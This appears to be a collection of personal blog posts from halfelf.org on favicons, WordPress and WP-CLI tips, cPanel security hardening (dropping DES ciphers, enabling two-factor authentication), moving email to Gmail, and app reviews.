 Imagine summing up everything a website is about in a 16x16px square. That’s the goal of a favicon (short for favorites icon). Pretty much every site out there has one, and it’s a devil of a task to make one that looks appropriate, identifiable and understandable in such a small space. As much time as I spend tweaking a design I spend on a favicon because they are that important for the look and feel of a site. A site without one is nearly naked.
Back in the days of IE 4 (yeah, 4, so 1997), Microsoft hit upon a great idea. If you made a teeny picture and saved the file as favicon.ico in your html root, their browser would pick it up and be the icon on your bookmarks menu. It didn’t take long for people to figure out microsoft.com was doing this, and they began implementing it all over for every site they could. As people got smarter, they figured out how to fake it, so you could have a different favicon for every page, just by manipulating the head of your html document.
Back in the day, you had to use .ico (Microsoft Icon) files as your favicon, but these days most modern browsers pick up .png, .gif and .jpg happily enough. This allows people to make animated favicons, which need to be shot and killed. For maximum compatibility, though, most people still use .ico, since IE doesn’t like the others. Or it didn’t. Someone on IE 8 will have to check.
The real problem boils down to size, for most people. At 16x16px, you don’t have a lot of room. This site actually has a non-recognizable icon (it’s the Xena/Gabby picture). Technically you can go up to 32×32 for an image, and I have one that’s 240×240, but in the end, they all render at 16×16 on 99.999% of browsers, so looking good at that size is your goal.
If you think I’m being silly, about a year ago, Google changed their favicon and admitted that it wasn’t final. Right away they basically started [open submissions](http://googleblog.blogspot.com/2008/06/one-fish-two-fish-red-fish-blue-fish.html) for a better one. When they changed it in January, it became the favicon [ heard ’round the world](http://news.bbc.co.uk/2/hi/uk_news/magazine/7839744.stm). Eventually, Google stepped up to [explain the change](http://googleblog.blogspot.com/2009/01/googles-new-favicon.html). It’s important to have an icon that matches your site, as Google explains, as well as a unified look for all aspects of your design. Should you have a different look for each app on your site, or an all in one? How does it affect the other aspects of your site, like the iPhone’s new icons for saved webpages?
These aren’t simple answers, but to explain how I go about it, here are some favicons that I have made and use out there in the world. Not this site’s though. I need to come up with something better for it.
[](http://jorjafox.net) When I moved JFO from orange to green a year or so ago, I made a new favicon to reflect the design. The image is a cropped shot from the original header (which is now a full color photo, but still), and is a close up of Jorja’s face. It’s JUST recognizable as Jorja, I think.
[](http://jorjafox.net) Alternately, I came up with this image, which is a copy of the shot used on the header currently, done in greens to match the site. In a way, it’s both more and less recognizable, as the image is harder to make out (it’s a head and shoulders) but as it’s the same used in the header, people might make the connection. I’ve yet to use this on a live site, but it shows up on my test sites right now.
For the website ‘SCA Jews’, I had gone with a slightly eastern feel of a website, that evoked both the idea of camping with the concept of days gone by. [Evening Sun](http://spectacu.la/) came from spectacu.la, and took minimal editing to fit my plan. The problem was I had no favicon. Originally I put a little sun up there, but then it struck me that the ‘meaning’ of the site was to promote the meal plan “Meals on Camels”. What better way to express this than with … a camel.
[](http://theyeasticoulddo.net/) I also helped design (or rather optimize the design for) my friend’s site, The Yeast I Could Do. She had no favicon and I spent a couple hours scrounging for something bread-ish, and eventually picked this one, even though it’s questionable. It does look a bit like a loaf of bread, and she recognized it, so I think it went okay. In it’s .ico format, it has a transparent background.
[](http://consensualreality.net/ponywars/) Finally there’s this one. Pony Wars is a joke site I made up with a friend for a “My Little/Pretty Pony RPG”. I mocked up the site because I was bored one day and finding an icon for it has been a bear. In the end, I went with this 33×33 (yes I know) icon of a pink pony. It doesn’t scale very well and looks weird on the site itself, but it’s a hard icon to shrink.
If, in the end, you’re stumped at making one, there are a lot of favicon collections out there to help you. Be warned, they can take a LONG time to load:
- favicoop, a favicon collection with over 43288 icons
- [MpP’s Gallery](http://mppierce66.home.comcast.net/~mppierce66/web/fi/), broken up into multiple pages
- [Favourite Favicons](http://www.deltatangobravo.com/archive/2004/march/favourite), not as many, but easier to see
What are your favorite favicons?
**Categories:** How It Is
**Tags:** browser, design, website
---
### [Updating Multiple Posts' Meta](https://halfelf.org/2016/updating-multiple-posts-meta/)
**Published:** September 7, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I wish my answer was "This is super easy!" Except it's really not.
**Content:**
I had 328 posts that I needed to add a meta field value to. Thankfully they all had the same value at the moment, so what I really needed was to tell WP “For all posts in the custom post type of ‘show’ add the post\_meta key of ‘tvtype’ with a value of ‘tvshow’.”
That sounded simple. It wasn’t.
Googling “Updating multiple posts” or “Bulk Update Multiple Posts” (with WordPress in there) was frustratingly vague and told me to do things like the bulk edit from the post lists page. Well. Sure. If I added my post meta to the bulk editor (which I do know how to do) and felt like updating them 20 shows at a time, I could do that. Heck, I could make my page list 50 and not 20, and do it in 5 ‘cycles.’
But that wasn’t what I wanted to do. No, I wanted to figure out how to do it faster *forever*, so that if I had to update 32,800 posts, I could do it in the least CPU intensive way.
## PHP
If I was to do this in PHP, it would look like this:
I picked `add_post_meta` instead of `update_` because while the update will add the meta if it’s not found, I didn’t want to update any of the shows I’d manually fiddled with already. And to run this, I’d have to put it in an MU plugin and delete it when I was done.
Which… Yes. That could work. I’d want to wrap it around a user capability check to make sure it didn’t run indefinitely, but it would work.
## WP-CLI
Doesn’t a nice command line call sound better, though? Spoiler alert: It’s not.
I knew I could get a list of the IDs with this:
That gave me a space-separated list
And I knew I could add the meta like this for each show:
But who wants to do that 328 times?
The documentation for `wp post meta update` said “Update a meta field.” A. Singular. Now it was *possible* that this could be for multiple posts, since the information on `wp post update` said “Update one or more posts” and “one or more” means one or more. But the example only had this:
Notice how there’s no mention of how one might handle multiple posts? In light of clear documentation, I checked what the code was doing. For the update function, I found this:
The check for `if ( is_numeric( $arg ) )` is the magic there. It says “If this is an ID, keep going.” And no spaces. So the answer to “How do I update multiple posts?” is this:
Great! So can I do that with post meta? Would *this* work?
Answer: No.
So I took that list, used search/replace to turn it into 328 separate commands, and pasted them in (in 50 line chunks) to my terminal to update everything.
Yaaaay.
**Categories:** How To
**Tags:** command line, php, wordpress
---
### [Drop DES Ciphers](https://halfelf.org/2017/drop-des-ciphers/)
**Published:** February 13, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Some more cPanel security for your sites.
**Content:**
My (former) coworker read my [recent post about the forward secrecy](https://halfelf.org/2017/ssl-security-forward-secrecy/) and noted the following:
> @*p0pr0ck5*: you really ought to get rid of the DES ciphers too.
As it happened I was looking into that!
## What Is DES?
DES stands for Data Encryption Standard. It’s a symmetric-key algorithm using 56-bit keys, which means it applies its magic to a block of data at once, rather than one bit at a time.
Back in the 1970s, The National Bureau of Standards (in the US) created DES because it occurred to them that secure data was a good idea. A bunch of brains were invited to meet their proposal for a standard, and of them IBM (yes, that IBM) came up with a winner.
## What’s the Problem?
It’s 2017, not 1971, and data is bigger and more complex. First off, 56-bit keys are too small. AES, the current standard, uses 128-bit and 256-bit keys. But perhaps more importantly, we don’t do symmetric encryption anymore. Sending the keys over the same channel you’re going to encrypt is dangerous and easy to snipe.
Back in the late 1990s, a big machine could break a DES key in 22 hours. Today, using a cloud network on Amazon, it could be done in seconds, and be worth it.
Oh and if you’ve heard of 3DES and are wondering if that’s better, it’s not. Remember the massive Target hack in late 2013? A bunch of credit cards were stolen and it turned out Target stored their PINs in 3DES. So no. Not safe at all.
## Why Did You Have It?
Because Windows XP is a sack of shit and up until last year, I had to support it.
Seriously, that was it. Now that everyone I know who use some XP (and NT) are on modern OS’s (or blocked from the server… or dead) I don’t have to worry so much.
## How Do We Ditch It?
Remember, these are the *default* chiphers:
In there you have the following: `ECDHE-ECDSA-DES-CBC3-SHA`, `ECDHE-RSA-DES-CBC3-SHA`, `EDH-RSA-DES-CBC3-SHA`, and `DES-CBC3-SHA`
While I already have `!DES` in my cipher suite (as I posted a few days ago), I should remove it fully. But that *also* means in the Pre Main Include section, I need to change my value for SSLCipherSuite to match!
When I tested, I noticed that I was still pulling a TLS suite with 3DES: `TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA`
To fix that, I changed `HIGH` to `+HIGH:+MEDIUM:-LOW` and that gave me the following:
The `-LOW` is the magic sauce to say “Don’t use anonymous insecure ciphers.” when you’re on cPanel, you see.
**Categories:** How To
**Tags:** cpanel, security, ssl, whm
---
### [On Uninstalling WordPress Plugins (and Data)](https://halfelf.org/2017/uninstalling-wordpress-plugins-data/)
**Published:** February 10, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Why uninstalling a plugin tells you it's removing data, even when it's not.
**Content:**
Someone asked me why WordPress always says it’s going to delete files and data when it only removes the files and not the database options. There are two parts of the answer to this, one being a little historical and the other being a bit unhelpful.
## The Message: Delete Files and Data
Once upon a time, when you uninstalled a WordPress plugin, it looked something like this:

That was a very simple screen. You were asked to delete the plugin files, you clicked that you were, done.
Now you see this thanks to Shiny Updates:

It’s a different message, telling you it’s deleting *data*!
## What Is The Data?
The part you *don’t* see is that WordPress would also remove all the data as well as those files.
Any time WordPress showed you that message to delete files and data, it was saying that it found a file called `uninstall.php` which would, presumably, delete the data set by the plugin. By this I mean the options and settings you chose for your plugin. Some plugins have data and others don’t. For example, Hello Dolly has no data, just files. It doesn’t need an uninstall file. On the other hand, a plugin like Jetpack has a lot of settings it should remove from the database on cleanup.
## Why Do We See ‘and Data’ If There’s None?
Okay, so if Hello Dolly has no data to delete, why did we see that message? In part, this stems from the following idea:

We wanted it to be more clear as to *what* was being deleted when you delete, and that was part of a proposed change to WordPress core to tell you if and when database settings are removed on uninstall, and let you leave it alone if needed. Wouldn’t that be nice? Letting you pick which way to go?
Well. There’s a problem with that dream, and the name of the problem is “Plugin Frameworks.” No, not the CMB2 stuff, I mean the [boilerplate plugin frameworks](https://halfelf.org/2015/hate-framework/) that are oh so popular.
I hate them. Because they *always* have an uninstall, and most of the time people leave it alone. That’s right, your brilliant boilerplate will flag an alert that it’s deleting data when it’s not. This doesn’t impact the functionality of the base idea, but it does change the message.
## So Why Does It Say Data?
Because when you uninstall a plugin, if it was well written, it removes the files and the data.
**Categories:** How It Works
**Tags:** development, essay, wordpress
---
### [cPanel and Two-Factor Authentication](https://halfelf.org/2017/cpanel-2fa/)
**Published:** February 3, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Making life more secure, one two factor at a time.
**Content:**
I’m talking a lot about security. There are reasons for that. If you’re not keeping your online *behavior* safe, you’re in for some headaches. [Two-Factor Authentication (TFA or 2FA)](https://halfelf.org/2013/two-factor-authentication/) is one of the better solutions as it protects you by requiring you to have a password and a physical object in order to log in.
WebHost Manager (the admin part of a cPanel server) has this.
## Let’s Do This Thing!
Go to WHM Home » Security Center » Configure Security Policies and check the box for Two-Factor Authentication.

Next, go to Home » Security Center » Two-Factor Authentication and move the slider to enable:

Click on the tab for “Manage My Account” and set up TFA for your root account.
## The Problem….
Oh there’s a problem? Yeah, and it’s the age old problem of TFA. You can’t enforce it. I mean, you can’t turn it on for everyone and walk away singing the praises of your success. You have to turn it on as each user. That means they have to turn it on. You can’t even require it.
None of that means you shouldn’t do it. Everyone should do use TFA for their server connections. I use it for my servers and for my Gmail accounts. Protect yourself.
## Extra Credit
[Did you know you could turn on TFA for APIs on your server as well](https://blog.cpanel.com/where-is-my-two-factor-authentication/)? Yeah.
**Categories:** How To
**Tags:** cpanel, security
---
### [Show Featured Images on Post List](https://halfelf.org/2017/show-featured-images-post-list/)
**Published:** February 8, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Adding a custom column to show if you have a featured image or not.
**Content:**
Let’s say you want to be sure every single post, in ever single post type, has a featured image. And you know someone might forget but you don’t want to have to open up every damn post to see.
There are a lot of answers to this problem, and I love that there’s a plugin that will add in a [Featured Image Column](https://wordpress.org/plugins/featured-image-column) that shows a teeny featured image. But it wasn’t what I wanted. It was over kill.
All I needed was a simple check mark for if there was an image and an X if there wasn’t, and that would suit me fine. And I wanted the column to be small, without a lot of fuss or folderol. I wanted something simple:

That gives me a fast overview of if everything is what I wanted and where I wanted.
## The Code
The code itself is the most basic column code, with a little bit of magic to put it as the first column on the list. Since I want to show this on *all* post types, I used the generic functions.
Fork and enjoy!
**Categories:** How To
**Tags:** coding, plugins, wordpress
---
### [Moving cPanel email to Gmail](https://halfelf.org/2016/moving-cpanel-email-gmail/)
**Published:** September 30, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I finally switched to Gmail for my email... And I don't regret it.
**Content:**
There should be a collective gasp here.
It’s no big secret I dislike Google. I don’t trust them at all. I think Cory Doctorow’s story [Scroogled](http://craphound.com/news/2016/03/03/scroogled-the-day-google-went-evil/) is pretty much on the ball. But I also have been struggling with handling my server’s email and spam situations and if there’s one thing Google has turned out to be pretty good at, it’s spam. Also having my email separate from my hosting means if the site goes down, I’ll still get emails… Which is sort of important.
So I bit the bullet, sorted out I needed to pay for three emails (making it $15 a month) and a boat load of secondary domains and filters. Since I’d dropped the cost of my hosting by $20 a month, this worked out alright.
## The Setup
This part is the easy one. Go to https://apps.google.com and put in your information. If, like me, you have multiple domains, pick one to be your ‘master’ domain. I chose `ipstenu.org` because that’s my main domain in Multisite and there’s some parity going on here. Since this is geared to businesses, you do need to give your business a name. Sorry.
Next you’ll pick your users. Like I said, I have three: Me, my wife, and my admin account. Why does admin need it’s own account? It doesn’t. But it might. For now I had them email me at my personal gmail (I can always resend later) since I don’t want them to be alerted to things just yet as I planned to import all their old email.
Finally it does the “Verify your domain and set up email” step. Which failed. And took 50 minutes. Unfunny. Originally I did the TXT domain setup, and when that failed I did CNAME. Longest ‘about 50 minutes’ ever. And that failed too. Finally I did the damned ‘file verification’ which was ridiculous and stupid but that worked and it *still* took another 50 minutes to set up my emails.
Eventually, after talking to Google, my web host, and my domain registrar, it turned out there was a glitch in my domain servers… There was no A record for my nameservers. Thank you Carol, Samuel, and Tatyana for helping that one.
## Migrating Data
I mentioned I have three accounts. They have around 30 megs of email each. But I *also* have secondary accounts which are basically the same accounts only not… And to be honest I don’t know why I have so many. This was a chance to combine everything, so I set up those three accounts and then I used the IMAP importer to pull in everything. And it worked. That simple.
## Configuring Accounts
Now that I have three accounts, I needed to add in my ‘other’ emails. I have a lot of weird aliases. I used to have separate accounts for each email but … well that’s a pain in the ass. So instead of that, I set up *folders*. I made a folder for each domain alias and then set up redirects. If email was sent to the `halfelf.org` domain, then it went to a folder called ‘HalfElf.’ Originally I had a whole mess of weird redirects going on, like if it was from WP then it went to a WordPress folder and so on, but unraveling that and going simple seemed like a wise choice.
I went into the cPanel backups page and downloaded all my forwarder information as well and set up email forwards! Well. Not forwards. Aliases. Same idea really. And it was nice, since I added all my domains as aliases, `ipstenu@[anydomain]` would now work! I set up a lot of filters to keep things out of my inbox and in their proper, attention needing, spots.
## Blocking Users
Finally it was time for my soon to be favorite step. Blocking users. [Blocking senders for every domain is possible in Gmail](https://support.google.com/a/answer/2364632?hl=en) and in my opinion, it’s huge. I have a list of 66 emails that I block on all my servers. This is for myriad reasons, but primarily is these are people who don’t know how the shut the hell up and leave me alone. Since I’m under no obligation to talk to these people, I blocked them.
Exporting that list from cPanel was un-fun. You can either manually copy it out, line by line, or you can find the filter rules. They are, sadly, stored in the `/etc/vfilters` directory, so you need root access (which I have), but it’s not easy to get at. BUT! As of the latest version of cPanel, if you go into backups you can export your filters. They’re in a YAML format, but that’s easier than copy/pasta.
## Cleaning up cPanel
So now that everything is on gmail, do I even need to run email on the server? Yes. I have to be able to send email. I did go through and delete all the accounts, though, freeing up a bit of space, and I turned off Greylisting (I know, [I just did that!](https://halfelf.org/2016/greylist-rbls-spam/)), and I hid the ability to add new accounts.
**Categories:** How It Is
**Tags:** cpanel, email, google
---
### [Gmail: Handling Bad Emails](https://halfelf.org/2016/gmail-handling-bad-emails/)
**Published:** October 17, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Sorting emails and sending specific auto-replies is complicated, but doable.
**Content:**
No, not bad emails as in the ones that you consider saving and posting for someone’s everlasting internet shame. Bad emails are the ones that go to the wrong place, through none of your fault. We’re talking about the people using an email you’ve not used in a decade, or someone who can’t remember your name is spelled with an A and not an E, and so on. You know, typos.
One of the things I did on my old email was set up a trash email box. That is, people could email `not-me@domain.com` or `me@olddomain.com` and they’d get an auto-reply telling them the email was no longer in service. It was more important for an old domain I owned but didn’t use and yet people I needed to talk to still thought it was real. I could have forwarded it to me, but after 10 years, I upgraded to the “Folks, seriously!” alert.
Doing this on cPanel was pretty easy, making a custom alias that dev/null’d and sent a reply. Doing it on Gmail was a little weirder and made me think about the situation.
## Canned Replies
First you have to set up [Canned Responses](https://gmail.googleblog.com/2008/10/new-in-labs-canned-responses.html), which is a Lab (go to Gmail -> Settings -> Labs). You made a response like you make an email, only instead of sending it you save it by clicking on the down arrow and saving as a Canned Response:
[](https://halfelf.org/wp-content/uploads/sites/2/2016/10/canned.png)
Once you have it saved, set up a filter so any email to `@domain.com` gets a reply of that Canned.
## Don’t Be Sneaky
If you’re thinking “Aha! I can use this to be sneaky!” with the intent of sending people emails to pretend you really are reading it, there is a problem with that. The email comes back from `YOU+canned.response@example.com` and no, there’s no really easy way around that. Someone did come up with a [Google Script](http://webapps.stackexchange.com/questions/44214/is-there-a-way-to-avoid-canned-response-in-the-email-address-using-gmails-ca) for it, but it’s not for the faint of heart.
Now the question is, is that a bad thing? Is it bad for people to know they got a canned reply? No, not really. By putting in the `+canned.response` it’s obvious that it’s a canned, but it’s also obvious for you and you can filter the emails however you want. People who reply to canned? Auto-trash ’em. Or block them.
## Filters
Instead of the canned reply, though, you can also just discard the email. Either don’t even bother to set up the email (or it’s alias at all), or if you do, filter it out and dump it. The only reason I could see bothering to make an alias for email you don’t want is if you either plan to review it later, or if you have a catch all email address. If you do this, making an alias, make sure you filter the emails and mark them read so you don’t get distracted by them.
## Catch All
There’s a slightly different approach to all this, though. The idea of a catch-all email. By default, G Suites sends all your misdirected emails to trash. Accidentally mailed `bob@example.com` instead of `b0b@example.com` because the numbers and letters look the same? Tough luck. Unless Bob was smart enough to set that up as an alias (which I tend to do), your email was lost. The alternative is to designate a user as a ‘catch all’ account that gets everything that doesn’t belong to an existing user.
That catch-all can auto-reply to all emails, forward ones that are important, and everything else. If you’re a business, you should do this so you don’t lose any misdirected emails from customers (they can’t spell after all), but remember to check that email often as it will also collect all the spam for all your accounts.
**Categories:** How To
**Tags:** email, google
---
### [WordPress Multisite 101](https://halfelf.org/2012/wordpress-multisite-101/)
**Published:** March 30, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I wrote an ebook about running your own network without tearing out your hair. It's a cheat sheet for the rest of us.
**Content:**
So there’s this thing. I blog a lot, but sometimes the ‘lessons’ I want to teach would take up a few thousand words. I’ve sorted out that any blog post over 1200 words is ‘too long’ and I try to split it up. But then how do I organize it? Let’s face it, books are useful for a reason.
After compiling and colating all the emails, IMs, forum posts, and blog posts Andrea and I have made over the last couple years, we realized we had a novel. The problem was organizing it so the scope wasn’t maddening and daunting for us to write, nor for the user to read. Finally inspiration struck. If you’re using Multisite, you really need to know WordPress first. You have to walk before you can run, as they say, and with Multisite, you have to already know how to do the basics.
This book will *not* teach you how to pick a host, copy files up, create a database, or any of those things. It won’t even tell you if you should or should not use Multisite. What it *will* do is help you go from WordPress to WordPress Multisite, configure the options, understand what they mean, sort out the standard problems, and help you figure out what you need to know and where you need to be in your own head in order to do this thing.
And it’s free. Well, no. It’s not. It’s pay what you want.
That’s the other thing. I could go the traditional route with a book, find someone to publish it, etc etc. Or I could self-publish on the iBook store or eJunkie and take a hit for the overhead and the hassles of all that. Or… Or I could address the real problem about making ‘money’ with books. Obscurity. I have a whole [philosophy about paying for ebooks](https://halfelf.org/my-ebooks/) and you can read it if you want. But the tl;dr for you is this.
Pay me whatever you think the ebook is worth. If you aren’t going to pay, you weren’t anyway, and that’s nothing lost from my end. I’d appreciate a fiver if you find it useful. I totally support you downloading it first, reading it, then paying later. After all, how do you know it’s what you wanted without reading it?
Grab a copy of [WordPress Multisite 101](https://halfelf.org/ebooks/wordpress-multisite-101/), it’s in ePub and PDF. You know the drill. Right click and save as.
**Categories:** How To
**Tags:** ebooks, multisite, wordpress
---
### [WordPress Multisite 110 - Electric Boogaloo](https://halfelf.org/2012/electric-boogaloo/)
**Published:** May 31, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** The sequel is out. It's still pay what you will. If you like Multisite, this is the next step up.
**Content:**
[](https://halfelf.org/ebooks/wordpress-multisite-110/)
**Introducing [WordPress Multisite 110](https://halfelf.org/ebooks/wordpress-multisite-110/)**
I promised a sequel and I delivered. I hope you guys find it helpful. The sequel is out, and it’s longer than the original. Weighing in at over 80 pages, WordPress Multisite 110 has even more information about WordPress Multisite!
Why a sequel and not a second edition? There were more things to add than a few extra plugins. Branching into a little more philosophy and explanations to the whys, Multisite 110 hopes to be the second handbook you’ll need. The funny thing is most people who read my site regularly don’t need this at all. But your clients might. Imagine being able to hand that off to them saying ‘I’ve got you started, here’s how you can make it epic.’
Oh yes, with a Creative Commons release, you can pass this on to your clients as you like. I won’t stop you, just don’t sell it to them. If you want to get into the shenanigans, you can bill them for it, but not sell it. Yeah, licenses will kill us all one day. Speaking of licenses, there’s code in this one, and it’s all under GPL2 (most of it’s also on this site already).
What’s not in it? Deep diving into the database. Fixing *everything*… There’s no way to cover everything. This one gets into the machinations of how you make a multisite where everything looks the same, or where your admins aren’t admins at all. Favicons? Got that covered too! The White Page of Death? How to figure out what plugin you want? Man, you know I got your back! Backups, control, security, uploads… the list isn’t endless, but there’s a lot going on.
**Check out [WordPress Multisite 110](https://halfelf.org/ebooks/wordpress-multisite-110/)**
The post title of ‘Electric Boogaloo’ comes from a movie that came out in 1984: *Breakin’ Two: Electric Boogaloo*. All sequels should have that sub-title
**Categories:** How To
**Tags:** ebooks, multisite, wordpress
---
### [WordPress Multisite Control](https://halfelf.org/2016/wordpress-multisite-control/)
**Published:** June 20, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Where do the options and settings for network plugins go?
**Content:**
When you write a plugin for WordPress Multisite, you have three options for how to let users control the plugin options. It comes down to the manipulation of the ways we have to activate a plugin on Multisite, which are per-site or network only.
I’m a firm adherent of having the network control as much as it logically should, but allowing each site to pick unique features. Never should someone be shocked to find out they’re on a network. A network is, after all, a collection of WordPress sites. Now your collection may or may not be related, but at the end of the day, someone should never be surprised to find out the site they signed up for is on a network.
With this in mind, I separated the ‘control’ of the plugins into three groups.
## Network Only
A Network Only plugin is one that should be controlled via the Network Admin. While the Settings API is a terrible bag of wet hair for Multisite, if you have a network plugin, then it should be for the network. The plugins that have no interface at all should be network activated. This is really simple, but in general if you’re adding this feature to your network, you probably want it on for everyone. There are some rare exceptions, but in general, network *only* is the key.
Most network only plugins are clever enough to use `Network: true` in their plugin headers, which makes this much easier. If you think your code should only be activated by the network, use that.
## Per-Site
A per-site plugin is activated on each site, controlled from each site, and the network admins have no authority save uninstalling the plugin. These plugins are things that each site should decide how to use. When I look at my own sites, I have a few that are like this. Like [@Reply Two](https://wordpress.org/plugins/at-reply-two/) – when you look at it, you’d think it should be network only, but since it requires some per-site configuration with regards to comments, it’s best left as optional for each site.
There is no `Network: false` setting, I’m afraid.
## Network Only Activation with Per-Site Control
Here’s where it gets sticky, and plugins like Jetpack actually handle this better than most others. Take, for example, something like a plugin that adds features to a specific theme. If that theme isn’t active, the plugin shouldn’t error out. But a lot of us code our plugins to say “If this other plugin or theme isn’t active, don’t activate.” That sounds like a great idea except when you want to have it network activated. In those cases, the checks get weird and don’t run as expected.
And then you have to consider what should control what. I mentioned Jetpack because it has a network admin screen.

There you can enforce connections from your network admin, or not, as you see fit.
## Which One Is Right?
While I’ve postulated this is very simple, it’s not. For example, when you have Jetpack, do I want everyone to edit every setting or just some? I’d want them to have the ability to use the CSS editor per-site, but maybe not VaultPress or Stats. The checks for that code is not as logical as it should be. The whens for running those checks, the priorities and weight given to who is more important, is not obvious.
I would say that the Network Admins should have final say. But many people don’t agree with me on that. Many people think each site on a network would be best to exist on it’s own and stand alone, a part of a secret.
And that too deserves room for thought.
**Categories:** How It Is
**Tags:** multisite, plugins, wordpress
---
### [Genericons Neue](https://halfelf.org/2016/genericons-neue/)
**Published:** December 2, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A neue wave of generic icons.
**Content:**
In 2013 I made a silly little plugin called [Genericon’d](https://wordpress.org/plugins/genericond) which let you include Genericons on your site in a theme independent way, complete with shortcodes and flexibility for other plugins and themes that might be using it. In 2016, Generico became [Genericons Neue](https://github.com/Automattic/genericons-neue).
The changes were small but huge:
1. SVG instead of font icons
2. No more social icons
The problem I faced was equally small but huge:
1. How to seamlessly transition from font icons to SVGs
2. How to handle social!!?!?!
Thankfully Automattic actually did the hardest work for me, with [Social Logos](https://github.com/Automattic/social-logos). I can’t design logos. I didn’t want to abandon people. So for me, to be able to just include a second library in the plugin was a fast and easy fix.
The long and drawn out one was how to make the plugin magically transition. It took me a month, fiddling with it off and on, but as of version 4.0, Genericon’d defaults to using modern SVGs instead of fonts and combines the Genericon Neue icon pack as well as Social Logos to ensure your old code keeps working. If SVGs won’t work for your site, you can either use classic Genericons or the legacy font packs.

Yeah, I gave everyone ‘options’ while still making default decisions. For the most part, no one needs the old legacy stuff unless they’re supporting IE, so this should work right out of the box for everyone, new and upgrades. My only ‘beef’ is that Social Logos doesn’t have a release strategy, so I’m going to have to randomly check for updates.
A lot of the work I did to figure this out was just testing variations. I knew that by default I wanted everyone to use the minified, super fast SVG sprites, and by default you do. There are hidden options that would let you use the slower images, but I didn’t build out that interface because of the annoying complexity with setting up “if you have Genericons Neue, make sure you don’t have Genericons Classic!” That was a surprisingly large amount of ifs and elses to make it logically flow. I wanted to have it magically flip things over for you, but in the end I went with an alert if the plugin is active and you haven’t selected things.
You can also make your load even lighter by not including the social icons, but one thing that’s nice about SVGs over Font Icons is that if you’re not using them, there’s *no extra load* on the site.
**Categories:** How It Works
**Tags:** coding, plugins, wordpress
---
### [Postbox: Desktop Email That Doesn't Suck](https://halfelf.org/2016/postbox-desktop-email-doesnt-suck/)
**Published:** November 4, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** My desktop mail app of choice is Postbox.
**Content:**
While I greatly prefer to use Apple’s default apps whenever possible, I’ve been using [Postbox](https://www.postbox-inc.com) for my email for a while now, especially since I switched over to [Gmail for my email hosting](https://halfelf.org/2016/moving-cpanel-email-gmail/).
While you can use Mail.app with Gmail, it has a lot of issues. I’m not a fan of Gmail in a web browser, either, though I do use it for other things. I like having an app separate to my browser where I can read email. Gmail was built for … well … the browser. It’s never really been a happy marriage to Mail.app, and that’s because Gmail’s IMAP isn’t really IMAP.
Enter Postbox.
This is an app based on the open source Thunderbird, but I find it much easier to use. It has a Windows and Mac client, and it looks clean. Since the recent update this year, it’s a purchase I’m happy to have made.
I currently have two email accounts, one is my Gmail account and one is my ipstenu.org email… Except that second email actually houses a dozen aliases. They all get funneled to different folders based on which alias they’re sent to (or who sent the email at all). My goal was to have only my important emails land in my inbox, which basically means my wife or my family.
Postbox pretty much just works for me. It’s well documented for how to [configure for gmail](http://support.postbox-inc.com/hc/en-us/articles/202200490-Using-Gmail-with-Postbox) and it lets me use my keyboard to navigate between folders. I love the arrow keys to go up and down and see what my email is.
About the only thing that annoys me is there’s a random `[Gmail]` folder I can’t seem to get rid of. Also you have to be careful about the Gmail [All Mail folder being too large](http://support.postbox-inc.com/hc/en-us/articles/202198700-How-to-use-Postbox-with-a-large-Gmail-All-Mail-folder) but that’s really a problem with Gmail more than any app. In fact, it’s most of why Mail.app is so terrible to use with Gmail.
Postbox isn’t perfect. It can suck up a lot of memory, and there is some hands-on configuration. This is no ‘set it an forget it’ email client, but again, that’s back to Gmail being a giant moron with regards to IMAP. When compared with Mail.App, I find it more reliable if you have multiple accounts, but also if you have a lot of dynamically sorted folders. Like I do.
If you’re just using one Gmail account, or you don’t have a complex set of filters and rules, this is overkill. But if you do, give Postbox a try. It has a free trial after all.
**Categories:** How It Is
**Tags:** app, apple, macintosh, mail
---
### [Hiya: Bye-a Spammers!](https://halfelf.org/2016/hiya-bye-spammers/)
**Published:** November 18, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Save a headache and kill the robocalls!
**Content:**
Do you get calls from scammers and telemarketers?
Trick question! We *all* do!
I stopped getting so many recently, thanks to [Hiya](https://hiya.com). The claim?
> Hiya identifies the calls you want to pick up and automatically blocks the ones you want to avoid.
And guess what? As of iOS 10.1 it sure does. I installed it after a day when I had *eight* scammer credit card calls in a row. In November, a day happened when I got a series of robocalls, and I didn’t answer any of them. My phone flashed, said it had a call, and then it went away, like a hangup. Curious, I popped into my call log to see who’d butt dialed me and saw Hiya flagged the number as a scammer.
They were right. They’ve been nothing but right since I installed it and configured it, and I’ve been unbothered by crazy phone calls.
Setting up the app is onerous, I’ll warn you. On an iPhone, after I installed Hiya, I had to go in to Settings -> Phone -> Call Blocking & Identification. There I had an option for Hiya to allow the app to block calls and provide caller ID. And once I toggled that on, it took minutes for my phone to sync everything up but … Once it was done, the app worked exactly as expected.
The bother went away.
Now for the dark side. Hiya needs access to your contacts. Their [privacy policy](https://hiya.com/hiya-data-policy) isn’t fully clear on what they do with it, but they do say they take the numbers in your contacts to build a whitelist. After all, people you add to your contacts aren’t likely to be spammers. But they also claim not to use your information, sell it, or market to your contacts. They also don’t sell to 3rd parties.
As a California resident, I can write and request (once a year) for a list of everyone they gave my information to, so I may do that later, but they appear to be on the up and up. They’re FTC governed, though given that the drama with all this started because they’re doing fuck all at stopping spammers, your milage may vary.
Me? I’m kicking scammers to the curb.
**Categories:** How To
**Tags:** app, ios, review
---
### [I'm Fine With Envato](https://halfelf.org/2015/im-fine-envato/)
**Published:** March 2, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I really have no issue with any theme shop. They're doing nothing worse than anyone else.
**Content:**
I just don’t use ThemeForest.
